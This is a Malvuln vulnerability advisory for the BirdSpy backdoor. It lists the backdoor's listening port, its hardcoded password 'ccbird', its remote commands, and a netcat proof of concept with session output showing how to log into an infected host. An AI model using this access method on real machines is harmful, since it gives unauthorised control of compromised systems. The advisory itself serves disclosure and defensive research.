Backdoor.Win32.BirdSpy.b Hardcoded Credential

`Discovery / credits: Malvuln - malvuln.com (c) 2022  
Original source: https://malvuln.com/advisory/eba3dd81723ddf33621fd85ded577920.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.BirdSpy.b  
Vulnerability: Weak Hardcoded Credentials  
Family: BirdSpy  
Type: PE32  
MD5: eba3dd81723ddf33621fd85ded577920  
Vuln ID: MVID-2022-0523  
Dropped files: WinSock.exe  
Disclosure: 03/21/2022  
Description: The malware listens on TCP port 50829. Authentication is required, however the password "ccbird" is weak and hardcoded in the PE file.  
  
00401E0E mov esi, offset Data ; "ccbird"  
00401E13 push 0 ; flags  
00401E15 push esi ; Str  
  
Built-in commands:  
==================  
byby "kill the malware"  
delp "terminate process"  
exec "shellexecute pgm"  
dlog HATE "send a message"  
getd "get drives"  
regw "write to registry"  
  
  
Exploit/PoC:  
nc64.exe x.x.x.x 50829  
ccbird  
pwok Welcome to Januse's BirdSPY  
Januse0128  
sysJanuse0128gsys  
msgeSystem: Windows NT  
Version:6.2  
BuildNumber:9200  
System Info:''Januse0128  
Januse0128dlog HATE   
Januse0128bird  
BirdSPY Release version 1..by JanuseChiu  
ME.NCU.EDU.TW...YAJanuse0128  
  
  
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).  
`